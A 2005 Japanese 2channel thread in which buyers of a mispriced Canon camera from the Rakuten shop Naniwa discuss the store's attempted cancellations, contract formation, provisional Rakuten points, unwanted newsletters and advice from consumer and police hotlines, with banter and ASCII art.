ナニワカラー消費者権利保護ロゴ　gif(改)透過(マット:白)バージョン
http://www.imgup.org/file/iup11214.gif
ナニワカラー消費者権利保護ロゴ　png透過(マット:白)あり
http://www.imgup.org/file/iup11216.png
落転バージョン消費者権利保護ロゴ1(改)　gifバックカラー:白
http://www.imgup.org/file/iup11444.gif
落転バージョン消費者権利保護ロゴ2　上の1が心配な場合はこれ
http://www.imgup.org/file/iup11224.gif
(おまけ　メディアLab　透過gif<マット白>)
http://www.imgup.org/file/iup11446.gif

サイトの一部ロゴなど、どこかで使う場面がありましたら、是非使ってやってください。
サイズ変更やバックカラー変更などなにか希望があれば変更します。
122 ：番組の途中ですが名無しです ：05/03/03 18:43:07 ID:su+Of3xM: 笑った
123 ：番組の途中ですが名無しです ：05/03/03 18:57:05 ID:Ic8g4iXu: >>121
ありがとうございます。
帰宅したら早速使わせて貰います。
124 ：番組の途中ですが名無しです ：05/03/03 19:07:48 ID:U+7yYDZ6: >>121
16x16でアイコンつくってぇ
125 ：番組の途中ですが名無しです ：05/03/03 19:10:17 ID:lcBv68E/: おかしいな、また>>20に反応しないぞ
前スレじゃ反応しまくり、ログ削除されまくりで読むのが大変だったんだが
126 ：番組の途中ですが名無しです ：05/03/03 19:21:05 ID:fA8FFqJz: Janeはじめ２ちゃんブラウザのあぼーん機能ってホント便利
127 ：番組の途中ですが名無しです ：05/03/03 19:49:15 ID:v/2zrPGy: なんかまたーりしてきたね
128 ：番組の途中ですが名無しです ：05/03/03 19:53:33 ID:rzx+x2ig: 楽天の規約って自動返信メールの後の確認メールがくるまでは契約不成立ってかいてある？
129 ：番組の途中ですが名無しです ：05/03/03 19:54:02 ID:IMZBVKu3: >>128

書いてない。規約には契約の時期について明記無し。
130 ：番組の途中ですが名無しです ：05/03/03 20:04:13 ID:wI0bObzM: ここフリーダイヤルは何時までだよ。
帰宅して電話しても留守電ばっか
131 ：番組の途中ですが名無しです ：05/03/03 20:13:34 ID:lT9UhDfG: 俺は他でカメラ買うことにしたけど、
とにかくこの会社の対応にはむかついた
メールは遅い上に深夜や早朝だし、
今どんな状況になっているのかもわからない
メールの内容も突っ込みどころ満載だし、あほすぎる

もしあの値段でカメラ買えたとしても、
アフターサービスむちゃくちゃ悪そう。。。
132 ：番組の途中ですが名無しです ：05/03/03 20:26:10 ID:6hCg9iEQ: 次の祭りまだー？ﾁﾝﾁﾝ
133 ：番組の途中ですが名無しです ：05/03/03 20:32:00 ID:ZPFFRXB+: なんか楽天ポイント確定してるんだけど、使っちゃっていいの？
134 ：番組の途中ですが名無しです ：05/03/03 20:35:34 ID:wI0bObzM: >>133
使ってくれ。
135 ：番組の途中ですが名無しです ：05/03/03 20:37:05 ID:zulz4LHq: >>133
これから、楽天に対する個人情報不正入手の追求についてしない意向であれば
いいんではないの？
136 ：番組の途中ですが名無しです ：05/03/03 20:40:44 ID:0q4Mt1Fl: 楽天に対する個人情報不正入手の追求
は、しなくてはならんなぁ。
個人情報の削除を拒んでいるのは、楽天なんだろ。
137 ：番組の途中ですが名無しです ：05/03/03 20:43:12 ID:rzx+x2ig: >>129　サンクス。
138 ：番組の途中ですが名無しです ：05/03/03 20:48:56 ID:dtWvcpcS: 本当だ。6000ポイントも付いてる。
ポンカンで6倍にすれば3万6千円だ！！
139 ：番組の途中ですが名無しです ：05/03/03 21:02:14 ID:SoosXUJS: >>133
えー確定してんの・・・いいなぁ。

>>138
俺なんかポンカンで倍倍になるように28日に買い物しまくっちたよ・・・これでキャンセルだったら痛いな。
ちなみにカメラで得たポイントが倍倍対象になるのは2月末までだと思うから、今から倍倍しても意味内と思う。
140 ：番組の途中ですが名無しです ：05/03/03 21:12:29 ID:aSnDC8Nb: ECOMADR時間かかりそうな感じですね。
141 ：番組の途中ですが名無しです ：05/03/03 21:16:45 ID:O0nLoP61: ポイントがあったか
代引きだからかな
（仮）とかついてる
142 ：番組の途中ですが名無しです ：05/03/03 21:17:12 ID:Y+YXMOvU: 時間が掛かってるなら何か望みがありそうに思える
143 ：番組の途中ですが名無しです ：05/03/03 21:18:29 ID:c51WE4Kd: シャープ　37V型　地上・BS・110度CSデジタルハイビジョン液晶テレビ　LC-32AD5
http://www.rakuten.co.jp/den-mart/586555/586571/#606814
227,000円
37型って書いてあるけど、品番がLC-32AD5になってるから32型？
もし37型で227,000円だったら価格comの最安より10万くらい安い。
144 ：番組の途中ですが名無しです ：05/03/03 21:19:00 ID:AIZtanIk: もう懲りた
145 ：番組の途中ですが名無しです ：05/03/03 21:21:00 ID:IMZBVKu3: どうだろうなー。いずれにしても、時間がかかりすぎてることだけでマイナスなんだが。

楽天のメールに書いてあるから契約不成立なんて答えはしてくれるなよ。

まとめサイトに書いてあるみたいに、いくつかの要件を同時に満たしてこそ
自動返信メール到着の時点では契約不成立が主張できるわけだからな。

一応関西では当然のようにみんな知ってる大型店なんだからな。

いい加減な対応だけはしてくれるな。
146 ：番組の途中ですが名無しです ：05/03/03 21:25:10 ID:Y+YXMOvU: >>145
裏取るのってもの凄い時間と労力が必要、
調べる価値も無い(または即答可能)なことではないと考えられる。
それか同様の相談等が殺到しているためとかね。
ちなみにハニワのことではなくＥＣＯＭのこと。>>140 ね。
147 ：番組の途中ですが名無しです ：05/03/03 21:25:13 ID:AIZtanIk: 全員ポイント確定で許してやるよ
148 ：番組の途中ですが名無しです ：05/03/03 21:28:56 ID:IMZBVKu3: >>146

おおっと。勘違いしてた。失礼しました。
149 ：番組の途中ですが名無しです ：05/03/03 21:33:45 ID:rzx+x2ig: 注文受付画面での
ありがとうございました。注文内容がショップに送信されました。
「お客様の注文番号は、○○ です。」　の直後の以下の文面は客に売買契約成立を印象付けさせないか？

このチャンスは1度きり！今回のお買い物のポイントがもらえる！
このまま、楽天会員になれば、今回のお買い物のスーパーポイントがもらえる！
パスワードを入力するだけで楽天会員にスピード登録！もちろん無料！
楽天スーパーポイントとは、楽天のサービスを利用した金額に応じてポイントが付与され、
獲得したポイントでお買い物の割引や、懸賞応募に利用することができる楽天会員向けサービスです。
※注文の確定から会員登録完了までを短時間で行わないと、ポイントが付与されない場合があります。今すぐご登録ください。

特に※の一文は客に売買契約がすでに成立していると理解させるに十分な気がする。
少なくとも俺はこの文を読んで、売買契約が成立したので今回の買物のポイント付加するためにすぐに会員登録しなければ
という強迫観念を抱かされた。
150 ：番組の途中ですが名無しです ：05/03/03 21:33:45 ID:weF313Iz: >>131
俺もそう思ってキャンセルした。

でもキャンセル処理完了のメールすら来ないんだよな。
社員の人もここに書く暇あったら先に処理済ましてくれ。
151 ：番組の途中ですが名無しです ：05/03/03 21:48:52 ID:5vYt5m/w: 自分のいいように解釈するんだなゴネ厨は
世の中そんなに甘くないんだよ社会の底辺君
152 ：番組の途中ですが名無しです ：05/03/03 21:49:18 ID:tzz0DHd+: 今日も雑魚しかいねーな
153 ：番組の途中ですが名無しです ：05/03/03 21:53:02 ID:0i0P1jTT: Yazzo!ってアニヲタとして基本の作品も見て無くて
かなり嫌々AT-Xに出向させられてきた人って感じがする。
154 ：番組の途中ですが名無しです ：05/03/03 21:54:23 ID:0i0P1jTT: すみません。>>153は誤爆ですのでそっとしておいてください・・・・・・・orz
155 ：番組の途中ですが名無しです ：05/03/03 22:20:08 ID:fA8FFqJz: 楽天のピント獲得履歴見てみると
ふつーに568ポイント入ってた
俺はもう17日以降にカメラ届くものと考えるよ
156 ：番組の途中ですが名無しです ：05/03/03 22:20:54 ID:rzx+x2ig: ┌| ∵|┘やけに静かだな。嵐の前の静けさか？
157 ：番組の途中ですが名無しです ：05/03/03 22:21:54 ID:rzx+x2ig: >>155
これって使っちまったらどうするつもりなんだろ？
あとで没収でもするつもりか？
158 ：番組の途中ですが名無しです ：05/03/03 22:24:57 ID:RHwji/sw: カメラが届かなくても100万台注文した人間の勝ちだね
159 ：番組の途中ですが名無しです ：05/03/03 22:30:18 ID:fA8FFqJz: >>155
ピントってなんだよ、馬鹿
ポイントだろ

ええ、ええ、おっしゃるとおりですとも
160 ：番組の途中ですが名無しです ：05/03/03 22:36:09 ID:jFUESYGJ: >>155
ホントにポイント入ってるね。
今のうちに使ってやろうかな。
161 ：番組の途中ですが名無しです ：05/03/03 22:37:46 ID:/N2+MTcY: ほんとにポイントは入ってる
2272（仮）
162 ：番組の途中ですが名無しです ：05/03/03 22:37:52 ID:jFUESYGJ: >158
568000000ポイントかよ。
めちゃくちゃ買い物できるな・・・
163 ：番組の途中ですが名無しです ：05/03/03 22:38:19 ID:E4eEeAdj: 前前前スレぐらいで出てた、定価よりも高いカメラ売ってた店どこだか覚えてる人いませんか？
164 ：番組の途中ですが名無しです ：05/03/03 22:40:26 ID:ZaIXSrXt: 掲示板を荒らすより放置した方が自分たちの印象が悪くならないことに気が付いたみたいなんですが
その後の連絡や問い合わせを放置するのはどうかな～って思いますよ
他の店で買いたい人もいるみたいだしさ
165 ：番組の途中ですが名無しです ：05/03/03 22:42:52 ID:99uUw+yn: あとでポイント回収ってなるのかな？
そうすると使った店とのトラブルに・・・

ナニワはそれも見越して閉鎖？
166 ：番組の途中ですが名無しです ：05/03/03 22:42:54 ID:rzx+x2ig: 定価より高いのかよ。ｗ
167 ：番組の途中ですが名無しです ：05/03/03 22:48:11 ID:Xov8CkVV: あと少しでポイント確定だっけ？
168 ：番組の途中ですが名無しです ：05/03/03 22:53:53 ID:fA8FFqJz: 確定次第使ってしまいますね、KISS DNのポイント
169 ：番組の途中ですが名無しです ：05/03/03 22:54:28 ID:0ITZyG4p: 　　　　　　　/＼＿＿_／ヽ　　　
　　　　　／:::::::　　　　　　＼　
　　　　　.|:::.　　 ''''''　　　''''''　 |
　　　　　 |::::.,（●）,　　　､（●）|
　　　　　.|::::::: ノ　,,ﾉ(､_, )ヽ､,,　|
　　　　　＼:::::.ヽ｀-=ﾆ=- '　／　…
　　　　　/ 　｀一｀ﾆﾆ´-,ｰ´
　　　　 /　　|　|　　　/　|　
　　　　/　　 |　|　　/ |　|　　
　　　 /　　　ｌ　|　/　 |　|
＿＿/　　　 | ⊥_ｰｰ | ⊥_ 　　　　　　-　‐　-‐‐‐‐‐-　
　　　|　 `ｰヽｌ_ｌ_ｌ.}　ヽｌ_ｌ_ｌ.},　, -'''"　　　　　　　　　　　　　　　`'丶
　　（､`ｰｰ､ｨ　　 }￣` 　　ﾉ '´ 　　　　　　　　　　　　　　　　　　　　`.　
　　　 `ｰ､､＿__/｀"''－‐"　i 　　　　　　　　　　□　　　←使ったﾎﾟｲﾝﾄ分の請求書
　　　　　　　　　　　　　　　ヽ､　　　　　　　　　　　　　　　　　　　　,::
　　　　　　　　　　　　　　　　　||`=ｰ--､....,,,,,_＿＿＿＿_,,,,,... --‐='' ||
　　　　　　　　　　　　　　　　　||　　｀`" '' 'ー───‐―‐' ''' "´　　 ||
170 ：番組の途中ですが名無しです ：05/03/03 22:56:03 ID:0q4Mt1Fl: 荒らしどもは、あんまり粘着体質でもないみたいですね。
こうなると、キティさんではないようなので、
ナニワの社員であったことに、まちがいないようですな。
やっぱナニワってのは、腐れた会社であるという証拠のひとつが
増えたことになりまして。
171 ：番組の途中ですが名無しです ：05/03/03 22:56:05 ID:TcyGzRKE: ポイントはどうせ、ハニワもちだろ、後で消える前に使っちゃえば
後で返せいっても、ID消せばいいんだから
172 ：番組の途中ですが名無しです ：05/03/03 22:58:46 ID:ZTECbvv2: >>163
あれは確かキヤノンの12万円くらいレンズだったかな
173 ：番組の途中ですが名無しです ：05/03/03 23:04:32 ID:weF313Iz: ＞172
富士カメラじゃなかったっけ？
174 ：番組の途中ですが名無しです ：05/03/03 23:05:02 ID:SoosXUJS: >>171
じゃあ、俺ポンカンで50000円ぐらいになる予定だからハニワで例のやつ買うかポイントで・・・そうすれば実質50000でげとーｗ

閉鎖してっからだめか・・・
175 ：嫁 ◆3Z7vqi3PBI ：05/03/03 23:05:13 ID:shGRq8sY: サイトをリニューアルしました。
┌| ∵|┘も記事の中心に据えました。
http://eoskissdn.nobody.jp/

>>121氏の画像、使わせていただきました。
ありがとうございました。
176 ：173：05/03/03 23:07:28 ID:weF313Iz: 補足
あれ、定価を書き間違えてるんだと思う。
177 ：番組の途中ですが名無しです ：05/03/03 23:16:25 ID:jFUESYGJ: 例えば１００台注文してたとして56800ポイントで
上限の３万まで使って他の店でポイントのみで買い物した場合どうなるんだろう？
またトラブル発生の予感。
178 ：番組の途中ですが名無しです ：05/03/03 23:16:57 ID:4iKNGm7y: >>177 (･∀･)ｲｲ!!
>>177 (･∀･)ｲｲ!!
>>177 (･∀･)ｲｲ!!
>>177 (･∀･)ｲｲ!!
>>177 (･∀･)ｲｲ!!
179 ：番組の途中ですが名無しです ：05/03/03 23:16:59 ID:hjN4nYh7: まだやってるのかｗ
買えた奴いる？
180 ：番組の途中ですが名無しです ：05/03/03 23:17:43 ID:Gd/SyP/o: オレのは楽天ポイント、（仮）のままです・・・。
181 ：番組の途中ですが名無しです ：05/03/03 23:19:21 ID:rzx+x2ig: >>175
乙！

レンズ買ってしまった人は別に対応ってのもまた荒れそうな火種だな。
大人しくうってしまえばいいのに。
182 ：番組の途中ですが名無しです ：05/03/03 23:22:58 ID:IMZBVKu3: レンズ個別対応についてだけど、怪しいもんだぞ。

俺が電話してレンズなど購入した人に対してはどうするんですか、と聞いてみたところ

中根　「他のお客様についてはお話しできないが、それぞれ対応する」

　俺　「いや、僕レンズ買うてるんですけど」（本当に購入している）

中根　「……申し訳ありませんが……」

こんな調子だった。結局何も無しな予感がバリバリする。
183 ：番組の途中ですが名無しです ：05/03/03 23:33:45 ID:zulz4LHq: >>175
乙。使っていただけてよかったです。
なんかアイデア等要望あったら、書いておいてください。
184 ：番組の途中ですが名無しです ：05/03/03 23:37:10 ID:Xov8CkVV: 楽天ポイントボッシュート祭りまだぁ～？？
185 ：番組の途中ですが名無しです ：05/03/03 23:54:19 ID:SoosXUJS: ポイントボッシュートはイエロー覚悟のスライディングで阻止汁！！
186 ：番組の途中ですが名無しです ：05/03/03 23:58:19 ID:0ITZyG4p: 日付変わったらﾎﾟｲﾝﾄ確定かな
187 ：番組の途中ですが名無しです ：05/03/04 00:00:11 ID:aSnDC8Nb: ところで....楽天デジタルニュ－スなんてのが　初　め　て　　届いたわけですが。
188 ：番組の途中ですが名無しです ：05/03/04 00:01:02 ID:0kMEhU/k: まだ仮のままっぽ
189 ：番組の途中ですが名無しです ：05/03/04 00:01:11 ID:jFUESYGJ: >>186
そろそろだな。さてどうなるか・・・
190 ：番組の途中ですが名無しです ：05/03/04 00:05:15 ID:Fc3SCL2X: >>187

なんかさー。

注文の時にあらゆるメルマガ登録を拒否した覚えがあるんだけど、すでに三通きてるんだよな。
どうなってんだか。メルマガ登録はいっつも拒否してるんで、今回に限って忘れたと言うことは
無いと思うんだがな。。。。

楽天、どうなってんだいったい。。。
191 ：番組の途中ですが名無しです ：05/03/04 00:09:04 ID:ME/sEXeX: >>190
濁天が独自にスパムを送信してるだけでしょ？
192 ：番組の途中ですが名無しです ：05/03/04 00:10:27 ID:0kMEhU/k: http://point.rakuten.co.jp/doc/kiyaku.html

第9条…

orz
193 ：番組の途中ですが名無しです ：05/03/04 00:12:53 ID:Fc3SCL2X: >>190

まっじっでー？

おいおい。楽天内店舗で購入するために個人情報とメールアドレス渡したんだぜ？

店舗から来た契約解除通知に拒否する通知をして、そこから音沙汰ない状態だというのに、
なに営業活動に個人情報を使ってんだよ楽天さんは。
194 ：番組の途中ですが名無しです ：05/03/04 00:15:38 ID:5n9WSxMn: >>192
仮確定システムやってるくせに確定後もうんぬんってほんとほざいてるな、ら苦点よぉ
195 ：番組の途中ですが名無しです ：05/03/04 00:18:27 ID:XiFjH9nB: >>190
それ俺もだ。。。
チェックはずしたはずなんだけど、勘違いかなぁと思ってた・・・
196 ：番組の途中ですが名無しです ：05/03/04 00:27:02 ID:ME/sEXeX: 確か濁天の規約でそれもアリなんだったはずだな。
個人情報を濁天に登録してる香具師は迂闊に変えないほうがいいかも、
一度でも濁天で使用したメルアド全部にスパムが･･･。
197 ：番組の途中ですが名無しです ：05/03/04 00:34:16 ID:Fc3SCL2X: 最悪だな。。
規約とは言え、そういった重要な情報を前面に出してこないってのはどういうことだ。

ところで、解除に対する拒否の返答が無いわけですが。
これはナニワさんに納得いただけたということでよいのかな。
俺は注文後にスレを探しに来たわけだが、もし2chを知らない人ならどう思うだろ。

「ナニワメール一通目　→ 拒否の返答 → ナニワメール二通目 → 拒否の返答」

というやりとりに三日かかってる。
そこからすでに三日間（メール二通ずつのやりとり時間分）何も音沙汰がないということは、
ナニワさんが売る方向で納得してくれたと思っても不思議じゃないよな。

これでまたまた売れないなんて答えになったら、三次被害（機材購入）が出るんじゃないの？
198 ：番組の途中ですが名無しです ：05/03/04 00:36:58 ID:YJAdhIm8: >>196
なかなかいいIDだな
今日一日、そのIDを背負っていくように。
199 ：番組の途中ですが名無しです ：05/03/04 00:38:40 ID:BmD0HpOE: 楽天で買い物した時って店舗側は楽天にマージンを払うんでしょ？
このままなら6万のカメラを1000台とか購入されたままにならない？
って事は1000台として6000万円の売り上げ分マージンを楽天に献上せねばならない

何やっても大損だね
200 ：番組の途中ですが名無しです ：05/03/04 00:39:23 ID:7jeRMP8J: たしか５％だよな
201 ：番組の途中ですが名無しです ：05/03/04 00:41:36 ID:RoErxqSn: >>190 >>196
私とｾｯｸﾙｾｯｸﾙ

190の楽天とナニワに対する思いが性欲となってIDに出た感じだ。
202 ：番組の途中ですが名無しです ：05/03/04 00:42:51 ID:ME/sEXeX: >>198
きっと濁天の陰謀だ･･･、なぜか恥ずかしくて書き込みし難い。
203 ：番組の途中ですが名無しです ：05/03/04 00:43:03 ID:RoErxqSn: >>201　自己レス
>>191だった 190ｽﾏｿ
204 ：番組の途中ですが名無しです ：05/03/04 00:45:34 ID:5n9WSxMn: 楽天ってほんといいとこどりなんだな。今回の一連の流れでよくわかったよ。
楽天が持っている責任ってなんにもないってことだな、不思議だ。。。
205 ：番組の途中ですが名無しです ：05/03/04 00:47:45 ID:xsl/H6WP: sEXeXﾊﾟﾁｸﾘ
206 ：番組の途中ですが名無しです ：05/03/04 00:53:29 ID:Zs3f3lpl: >>204
腐ったシステムでぼったくり料金で契約させて起こったトラブルは
すべて契約店舗になる投げ。
そりゃ儲かるはずだ。
207 ：番組の途中ですが名無しです ：05/03/04 00:53:37 ID:DMx6yBCk: 楽天様のノーリスク個人情報収集システムには恐れ入りました。
208 ：番組の途中ですが名無しです ：05/03/04 00:54:26 ID:az5yfKAA: ポイント残してくれ
209 ：番組の途中ですが名無しです ：05/03/04 00:56:37 ID:7jeRMP8J: 楽天球団セールなんてやってるが、
結局店舗が利幅減らして大量に売れば
楽天はウハウハだもんな
210 ：番組の途中ですが名無しです ：05/03/04 00:57:40 ID:DMx6yBCk: 寝てても儲かるとはまさにこのこと。
211 ：番組の途中ですが名無しです ：05/03/04 01:01:14 ID:ME/sEXeX: そういや濁天の地域密着に疑問の声というのがあったっけ、
オイシイとこ取りが得意なんだ、ふーん。
212 ：番組の途中ですが名無しです ：05/03/04 01:04:30 ID:dtPTYNve: 楽天なんか全然安くない。
直で注文したほうが安いよ
213 ：番組の途中ですが名無しです ：05/03/04 01:20:05 ID:50VTBtL1: ポイントもらえたら許してやるか
214 ：番組の途中ですが名無しです ：05/03/04 01:23:40 ID:R0z9unrm: このまま、金曜日の夜とか土曜の朝に楽天からキャンセルメールが
くるのかしらん・・・。
215 ：番組の途中ですが名無しです ：05/03/04 01:30:03 ID:k2QQigYA: 楽天使ってる店は
自前で販売ページも作れないような所ばかり
なんだから楽天も自分の都合の良いように
規約でもなんでも作り放題だろ
216 ：番組の途中ですが名無しです ：05/03/04 01:34:46 ID:+2efm3o9: 冗談抜きで土曜の朝とかにキャンセルメールがきそうな悪寒。
217 ：番組の途中ですが名無しです ：05/03/04 01:36:53 ID:Fc3SCL2X: もう一度メール送っておいた方がいいかもな。

-----------------------------------------------------
契約の解除に対する拒否メールの返答がございませんので、
納得していただけたものと理解いたしました。ありがとうございます。

商品の到着時期などを、できましたらお早めにお知らせください。

以上、よろしくお願いします。
----------------------------------------------------

てな感じで。

これに返答ないままキャンセルを強行しようものなら、それこそ信義則も
へったくれもないDQN企業だったってことだろう。
218 ：番組の途中ですが名無しです ：05/03/04 01:38:22 ID:5n9WSxMn: >>216
だな。明日やりそうだよなキャンセル処理・・・逆に明日やられなければポイント確定は確実だな、
もし確定したら楽天ｽｰﾊﾟｰポイント規約第9条があるのは知ってるが俺は使うよ！

こんな体験貴重だろうからな・・・確定ポイント使用後ポイント分料金回収なんてなｗ
219 ：番組の途中ですが名無しです ：05/03/04 01:38:40 ID:0kMEhU/k: 以前自称社員が「キャンセル作業は１週間先でほとぼりが冷めた頃」と言ってたな
220 ：番組の途中ですが名無しです ：05/03/04 01:40:54 ID:zgZPvtsC: みんな、ほとぼりを冷ますな！熱く行け！！
221 ：番組の途中ですが名無しです ：05/03/04 01:47:57 ID:5n9WSxMn: スレもめでたく10台目に入ってるし思いっきりくすぶってるよ。
誰かカメラ持って店舗行って某責任者とか激写してきた香具師いないのかな。
222 ：番組の途中ですが名無しです ：05/03/04 01:49:45 ID:Zs3f3lpl: >>221
明日のポイント確定でまた盛り上がると思うぞ
223 ：番組の途中ですが名無しです ：05/03/04 01:54:08 ID:5n9WSxMn: >>219
何度もｶｷｺすまんが明日キャンセル処理やったら確信犯だなハニワ。
ポイントキャンセルできるのは明日がラストだからな。
224 ：番組の途中ですが名無しです ：05/03/04 02:11:27 ID:9RJcR28P: ポイントつかってもそれで済むとは思わないがｗ
225 ：番組の途中ですが名無しです ：05/03/04 02:13:24 ID:DYPp74tI: まだ、正式にはキャンセルされてないんだよな？
カメラ書いたいんだけど、ナニワのせいで動けない。
226 ：番組の途中ですが名無しです ：05/03/04 02:14:29 ID:Fc3SCL2X: まーあれだ。

ecomの相談も混んでるみたいだし、ゆっくりでいいんじゃね？

伝突も日々あることだし。
重要な情報は共有されてるし。
227 ：番組の途中ですが名無しです ：05/03/04 02:21:16 ID:BWwLKff1: ゆっくり確実にしとめようぜ

ずーりずーり
　　　　∧＿∧　　
　　　　/　・ω･)
　　...../＿＿__ﾉ　　

ずーりずーり
　　　　　　∧＿∧　　
　　　　　　/　・ω･)
　　　　...../＿＿__ﾉ
228 ：番組の途中ですが名無しです ：05/03/04 02:28:03 ID:dtPTYNve: >>223
しーっ
229 ：番組の途中ですが名無しです ：05/03/04 02:30:19 ID:dtPTYNve: >>225
買えたら買えたで転売すればOK
230 ：番組の途中ですが名無しです ：05/03/04 02:50:32 ID:WfPbEaSW: てか濁点スパムマジうざい・・・

この捨てアド早く破棄したいが┌| ∵|┘とやりあってる
ので破棄するわけにもいかんしよ
231 ：番組の途中ですが名無しです ：05/03/04 02:56:07 ID:DYPp74tI: 俺は幸せなことにまったくスパム来ないな。
ってか、銀行振り込みした奴らどうなってるんだ？
232 ：番組の途中ですが名無しです ：05/03/04 03:01:51 ID:WfPbEaSW: >>225
同感。俺も正直もう買いてーもんよ。

てか買っちゃってもいいんじゃね？
きたらきたで転売しても１ﾏｿは浮かんかね？
233 ：番組の途中ですが名無しです ：05/03/04 03:05:36 ID:f9M0Vyxv: ガイシュツだったらごめん。
間違って銀のDN買っちゃったって香具師いたよね。
黒以外を注文した奴には、確認メール来たのかな。
234 ：番組の途中ですが名無しです ：05/03/04 03:13:22 ID:ynIS9nU8: 軍事の一般則として、昔から午前2時から4時がもっとも奇襲攻撃に適した時間だと言われている。
この原則をナニワは有効に活用されている様ですね。

日曜日の夜中（月曜の払暁）あたりにとんでもないメール発砲して、注文者に確認させないまま、月曜日の昼間に既成事実を組上げてしまう様な気がしますが。

今までのナニワの行動を見てるとその程度の事をやりかねないですね。気をつけましょう。
235 ：番組の途中ですが名無しです ：05/03/04 03:37:14 ID:zalY2Ajg: アークどうなったの？
粗品配るから、誠意を見せてくれたからということで
(・∀・)ｲｲ!!お店評価となったが、その後何も動向が無いから
ちょっと心配。口先だけで終わらせないでねーアークさん。
236 ：番組の途中ですが名無しです ：05/03/04 03:59:11 ID:R1+4C+w0: まだキャンセル処理のメールが来ないんだが
売ってもらえることになったのか？
237 ：番組の途中ですが名無しです ：05/03/04 04:47:28 ID:5n9WSxMn: >>228すまん、はやまった・・・
238 ：番組の途中ですが名無しです ：05/03/04 05:02:02 ID:P59UsuWP: ナニワのCMのカンカンカメラのナニワってのをずっとタンタンカメラのナニワと思ってたな。

y=ｰ( ﾟдﾟ)･∵ﾀｰﾝ
y=ｰ( ﾟдﾟ)･∵ﾀｰﾝ
カメラの┌| ∵|┘
239 ：番組の途中ですが名無しです ：05/03/04 07:13:58 ID:8ZSdk7t7: とりあえずポイントは使っておこう。
240 ：番組の途中ですが名無しです ：05/03/04 07:26:47 ID:9RJcR28P: ポイントを使って置けば
返還云々になっても手続きが面倒になるはずだ

楽天ＩＤを使って買えば良かったな
ポイント何ポイントつくんだい？
241 ：番組の途中ですが名無しです ：05/03/04 07:31:59 ID:8ZSdk7t7: 通常1%
ポンカン攻略してると最大6%
https://ponkan.point.rakuten.co.jp/?menu=Score

ちなみに俺は5%、女性会員の場合は期間限定に5千円以上購入の場合
500ポイント＋のイベントやってた（レディースデー）
242 ：番組の途中ですが名無しです ：05/03/04 08:01:01 ID:9RJcR28P: >>241
よう分からんが楽天ＩＤを使わなかったおれは馬鹿と
でもポイント使ってしまったらどうなるんだろうな

馬鹿じゃ無ければそれまでにキャンセル作業すると思うが
243 ：番組の途中ですが名無しです ：05/03/04 08:12:00 ID:8ZSdk7t7: しかし馬鹿じゃなければもう売ってるはず。
244 ：番組の途中ですが名無しです ：05/03/04 08:19:09 ID:OjaeAFnx: じゃあやっぱり馬鹿ということで。
245 ：番組の途中ですが名無しです ：05/03/04 08:21:46 ID:9RJcR28P: >>244
それは２５日に判明していました
馬鹿首脳陣万歳
246 ：番組の途中ですが名無しです ：05/03/04 08:27:51 ID:OjaeAFnx: 馬鹿なら馬鹿らしく、損得計算してないでとっとと売ればいいのに。
そうしないのも馬鹿の馬鹿たるゆえんだな。
247 ：番組の途中ですが名無しです ：05/03/04 08:54:02 ID:qmjPWEBh: いつまで放置プレイなんだ
さっさとしろよナニワ
予定も組めねーだろが、ボケ
248 ：番組の途中ですが名無しです ：05/03/04 08:54:30 ID:a3NTNGnp: 朝っぱらから「ハイテク犯罪電話相談」に電話しようと、かけたら
話中、９時までしか時間無いぞ
249 ：番組の途中ですが名無しです ：05/03/04 08:59:02 ID:qmjPWEBh: ナニワが一生懸命、関係各社と調整して
なんとか販売台数を確保
「お一人様一台に限り販売いたします」とメールを一斉配信

だが、したらしたで
なんだか「やっぱりキャンセルする」って言ってやりたい気分の俺
250 ：番組の途中ですが名無しです ：05/03/04 09:09:04 ID:9RJcR28P: >>249
それほどムカついてる？ｗ
251 ：番組の途中ですが名無しです ：05/03/04 09:21:49 ID:8ZSdk7t7: >>249
ナニワが得するよ、賠償金を払わせたいね。
252 ：番組の途中ですが名無しです ：05/03/04 09:42:40 ID:a3NTNGnp: おまわりさんと１７分も電話しちゃったよ
・現状では犯罪性は感じられないので動きはとらない
・クレカで払っている人は、明細のチェックを怠らないこと（おかしな支払いがあればカード会社に連絡）
・どうしても不安であればカード番号の変更
・契約は白紙になっているのかどうかの確認はすることができる
　今の曖昧な返事でなくきっちりもらえ
・電話でないとか「現在使われておりません」とかだと逃げた可能性があるので通報してくれと
・その他犯罪の恐れがありそうだったら遠慮なく相談してくれと
253 ：番組の途中ですが名無しです ：05/03/04 09:45:18 ID:mWmS6HLq: このままだんまりで楽天ポイント使ったあとくらいに
契約無効、楽天ポイントも無効、ポイント使って買い物したのは金払え
とか言い出したら、更に詐欺の疑いが・・・。
254 ：番組の途中ですが名無しです ：05/03/04 09:47:24 ID:mWmS6HLq: 怪しげなバイトでバイト代以上の金額が
口座に振り込まれてて、バイト君がラッキーと放置していたら
後で余分の金額に高額の利子を付けて請求する
悪徳消費者金融みたいなやり方だ・・・
255 ：番組の途中ですが名無しです ：05/03/04 10:33:59 ID:f11Pqvd6: ┌| ∵|┘スレが下がり杉ですからageますね。
256 ：番組の途中ですが名無しです ：05/03/04 10:35:18 ID:6kAXGOar: テンションが下がり杉ですからageますね。
257 ：番組の途中ですが名無しです ：05/03/04 10:38:02 ID:8ZSdk7t7: 乙ｗ
258 ：番組の途中ですが名無しです ：05/03/04 10:38:34 ID:6kAXGOar: とりあえず
シモネタ禁止
まんこ
259 ：番組の途中ですが名無しです ：05/03/04 10:42:06 ID:pih7K5gW: ポイント確定したら祭りだろうな。
まあ俺は１台しか買ってないから関係ないけど。
260 ：番組の途中ですが名無しです ：05/03/04 10:43:29 ID:/vWUUUBs: ポイントつくんだったら9999台注文したヤシが勝ち組みだな
261 ：番組の途中ですが名無しです ：05/03/04 10:43:30 ID:DMx6yBCk: あげ
262 ：番組の途中ですが名無しです ：05/03/04 10:45:53 ID:TUnvaqri: >>259
複数台買ったやつは結構ポイントつくんだろうな
くそ俺もＩＤで１０台くらいかっとけばな

このままポイント確定したら┌| ∵|┘馬鹿すぎ
後でどうなるかな
結局┌| ∵|┘が自腹？
263 ：番組の途中ですが名無しです ：05/03/04 10:47:00 ID:TUnvaqri: まとめサイトはまとまってんのか
スレが以外と速いからそっち読もうかな
264 ：番組の途中ですが名無しです ：05/03/04 10:48:26 ID:H/mKBx/5: 5台注文して、結局2通目のキャンセルメール以降飽きてシカトしてた。
どうなったの？

ポイントって？
265 ：番組の途中ですが名無しです ：05/03/04 10:50:03 ID:TUnvaqri: ヤバイな
返信忘れてた
266 ：番組の途中ですが名無しです ：05/03/04 10:58:28 ID:lzrBBWuU: ここがゴネ厨のすくつか
恥ずかしい奴らばかりだなｗ

　
